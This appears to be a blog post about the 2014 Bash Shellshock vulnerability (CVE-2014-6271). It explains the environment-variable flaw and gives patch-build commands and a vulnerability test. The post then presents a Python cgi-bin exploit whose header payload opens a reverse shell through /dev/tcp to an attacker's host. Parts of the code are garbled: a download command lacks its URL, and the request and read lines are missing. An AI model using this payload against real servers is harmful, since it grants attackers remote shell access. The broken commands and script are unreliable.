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Unix/Linux Bash Critical security issue September 2014

The popular Linux and Unix shell has a serious security problem that means real trouble for many web servers. Fortunately, a patch — as source code — is available. Bash, aka the Bourne-Again Shell, has a newly discovered security hole. And, for many Unix or Linux Web servers, it’s a major problem.


The flaw involves how Bash evaluates environment variables. With specifically crafted variables, a hacker could use this hole to execute shell commands. This, in turn, could render a server vulnerable to ever greater assaults.

By itself, this is one of those security holes where an attacker would already need to have a high level of system access to cause damage. Unfortunately, as Red Hat‘s security team put it, “Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue.”

The root of the problem is that Bash is frequently used as the system shell. Thus, if an application calls a Bash shell command via web HTTP or a Common-Gateway Interface (CGI) in a way that allows a user to insert data, the web server could be hacked. As Andy Ellis, the Chief Security Officer ofAkamai Technologies, wrote: “This vulnerability may affect many applications that evaluate user input, and call other applications via a shell.”

That could be a lot of web applications — including many of yours.

The most dangerous circumstance is if your applications call scripts with super-user — aka root — permissions. If that’s the case, your attacker could get away with murder on your server.

You can try patch with this code:

mkdir src
cd src
for i in $(seq -f "%03g" 0 25); do wget$i; done
tar zxvf bash-4.3.tar.gz
cd bash-4.3
for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done
./configure && make && make install
cd ..
cd ..
rm -r src
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

so.. how to try the reverse engineering ? here we go..

#CVE-2014-6271 cgi-bin reverse shell

import httplib,urllib,sys

if (len(sys.argv)<4):
	print "Usage: %s   " % sys.argv[0]
	print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
	"test":reverse_shell }
res = conn.getresponse()
print res.status, res.reason
data =
print data

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